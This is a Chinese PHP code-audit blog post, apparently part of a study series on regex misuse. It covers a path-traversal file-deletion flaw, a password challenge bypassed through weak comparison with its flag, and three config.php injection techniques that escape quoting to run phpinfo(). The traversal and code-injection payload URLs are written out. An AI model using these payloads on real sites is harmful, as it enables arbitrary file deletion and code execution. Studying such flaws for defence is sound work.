S1xHcL's Blog.

PHP-Audit Day06 正则使用不当导致的路径穿越问题

Word count: 1.7kReading time: 7 min
2021/10/12 Share

函数学习

preg_replace:(PHP 4, PHP 5, PHP 7)

功能 : 函数执行一个正则表达式的搜索和替换

定义mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

搜索 subject 中匹配 pattern 的部分, 如果匹配成功将其替换成 replacement

Demo学习

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php

class TokenStorage {
public function performAction($action, $data) {
switch ($action) {
case 'create':
$this->createToken($data);
break;
case 'delete':
$this->clearToken($data);
break;
default:
throw new Exception('Unknown action');
}
}

public function createToken($seed) {
$token = md5($seed);
file_put_contents('/tmp/tokens/' . $token, '...data');
}

public function clearToken($token) {
$file = preg_replace("/[^a-z.-_]/", "", $token);
unlink('/tmp/tokens/' . $file);
}
}

$storage = new TokenStorage();
$storage->performAction($_GET['action'], $_GET['data']);

?>

createToken()函数中,使用file_put_contents()函数写文件,但$token值经过了md5加密,无法利用。在clearToken()函数中,$file值经过preg_replace()函数使用正则过滤后,unlink()删除对应文件,漏洞点存在此处。正则过滤的范围是az._,也就是ascii46~95范围的字符:

1
. / 0 1 2 3 4 5 6 7 8 9 : ; < = > ? @ A B C D E F G H I J K L M N O P Q R S T U V W X Y Z [ \ ] ^ _

可以看到./未被过滤,那么可以通过../进行路径穿越删除任意文件。

1
2
Payload:
http://127.0.0.1/demo.php?action=delete&data=../../../filename

案例学习

源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
// index.php
<?php
include 'flag.php';
if ("POST" == $_SERVER['REQUEST_METHOD'])
{
$password = $_POST['password'];
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password))
{
echo 'Wrong Format';
exit;
}
while (TRUE)
{
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;
$c = 0;
$ps = array('punct', 'digit', 'upper', 'lower');
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;
if ("42" == $password) echo $flag;
else echo 'Wrong password';
exit;
}
}
highlight_file(__FILE__);
?>
1
2
// flag.php
<?php $flag = "HRCTF{Pr3g_R3plac3_1s_Int3r3sting}";?>

分析

分析之前先记录一下PHP正则表达式的字符类:

alnum 字母和数字
alpha 字母
ascii 0 - 127的ascii字符
blank 空格和水平制表符
cntrl 控制字符
digit 十进制数(same as \d)
graph 打印字符, 不包括空格
lower 小写字母
print 打印字符,包含空格
punct 打印字符, 不包括字母和数字
space 空白字符 (比\s多垂直制表符)
upper 大写字母
word 单词字符(和 \w 一样)
xdigit 十六进制数字

本体存在多处正则绕过和弱类型比较的限制,所以拆分代码依次绕过:

0x01

第一处正则表达式:

1
2
3
4
5
if (0 >= preg_match('/^[[:graph:]]{12,}$/', $password))
{
echo 'Wrong Format';
exit;
}

^表示以某种字符开头,$表示以某种字符结尾,[[:graph:]]表示打印字符。第一处正则要求输入大于等于12位以上可打印字符。

0x02

第二处正则表达式:

1
2
3
$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
if (6 > preg_match_all($reg, $password, $arr))
break;

preg_match_all()函数返回完整匹配次数,要求匹配次数不小于6次。正则表达式$reg,表示字符串中,把连续的符号、数字、大写、小写,作为一段进行匹配。

例如:

1
2
3
4
5
6
7
8
9
<?php

$password = 'S1x+HcL';

$reg = '/([[:punct:]]+|[[:digit:]]+|[[:upper:]]+|[[:lower:]]+)/';
preg_match_all($reg, $password, $arr);
print_r($arr[0]);

?>

输出:

1
2
3
4
5
6
7
8
9
10
Array
(
[0] => S
[1] => 1
[2] => x
[3] => +
[4] => H
[5] => c
[6] => L
)

0x03

第三处正则表达式:

1
2
3
4
5
6
7
$ps = array('punct', 'digit', 'upper', 'lower');
foreach ($ps as $pt)
{
if (preg_match("/[[:$pt:]]+/", $password))
$c += 1;
}
if ($c < 3) break;

要求所输入的字符串至少包含符号、数字、大写字母和小写字母中的三种类型。

0x04

弱类型比较:

1
if ("42" == $password) echo $flag;

所输入的字符串与42进行弱类型比较。

综合得到payload为:

1
2
Payload:
password=42.0e+000000

POST发送数据需要对+进行URL编码。

思考题

题目:网络上还有一种解法是: password=\x34\x32\x2E ,但是这种解法并不可行,大家可以思考一下为什么。

因为POST、GET提交的数据都会被单引号包裹,单引号不会转义ASCII值,所以为false

附加题

题目要求Getshell

1
2
3
4
5
6
7
8
//index.php
<?php
if(!isset($_GET['option'])) die();
$str = addslashes($_GET['option']);
$file = file_get_contents('./config.php');
$file = preg_replace('|\$option=\'.*\';|', "\$option='$str';", $file);
file_put_contents('./config.php', $file);
?>
1
2
3
4
//config.php
<?php
$option='test';
?>

题目中使用addslashes()函数转义' " \

0x01 利用换行符绕过正则匹配

先输入的Payload为:

1
http://127.0.0.1/php/day6/shell.php?option=a';%0Aphpinfo();//

经过addslashes()函数转义后为a\';%0Aphpinfo();//,然后写入config.php文件中,此时文件内代码为:

1
2
3
4
<?php
$option='a\';
phpinfo();//';
?>

而此时phpinfo()虽然已经写入到了文件中,但在第2行中存在\转义插入的',phpinfo仍在单引号的包裹中。然后再输入Payload:

1
http://127.0.0.1/php/day6/shell.php?option=a

a先经过addslashes()函数中无需转义,在preg_replace表达式1中将原本的a\替换为a,这样转义符就被替换掉,此时config.php文件中内容为:

1
2
3
4
<?php
$option='a';
phpinfo();//';
?>

成功Getshell

0x02 利用 preg_replace 函数问题

preg_replace()函数在处理字符串的时候,第二个参数replacement会自动将\\反转义为\。Payload为:

1
http://127.0.0.1/php/day6/shell.php?option=a\';phpinfo();//

输入的a\';phpinfo();//在经过addslashes()函数后被转义为a\\\';phpinfo();//,而\\被函数反转义为\,此时的就变成了a\\';phpinfo();//,从而导致单引号逃脱。

0x03 利用 preg_replace() 函数第二个参数的问题

replacement的描述

replacement中可以包含后向引用\n 或(php 4.0.4以上可用)$n,语法上首选后者。 每个 这样的引用将被匹配到的第n个捕获子组捕获到的文本替换。 n 可以是0-99,\0和$0代表完整的模式匹配文本。

举例:

1
2
3
4
5
<?php
$a = preg_replace('|(\$o=\'.*\')|', "\$a=$1", "\$o='123'");

// $a=$o='123'
?>

这里替换的是第一个表达式中的整个字符串。Payload为:

1
http://127.0.0.1/php/day6/shell.php?option=;phpinfo();

此时config.php为:

1
2
3
<?php
$option=';phpinfo();';
?>

再输入Payload:

1
2
http://127.0.0.1/php/day6/shell.php?option=$0
http://127.0.0.1/php/day6/shell.php?option=%00

config.php内容为:

1
2
3
<?php
$option='$option=';phpinfo();';';
?>

前后单引号互相闭合,phpinfo()逃脱出来。

CATALOG
  1. 1. 函数学习
  2. 2. Demo学习
  3. 3. 案例学习
    1. 3.1. 源码
    2. 3.2. 分析
      1. 3.2.1. 0x01
      2. 3.2.2. 0x02
      3. 3.2.3. 0x03
      4. 3.2.4. 0x04
    3. 3.3. 思考题
  4. 4. 附加题
    1. 4.1. 0x01 利用换行符绕过正则匹配
    2. 4.2. 0x02 利用 preg_replace 函数问题
    3. 4.3. 0x03 利用 preg_replace() 函数第二个参数的问题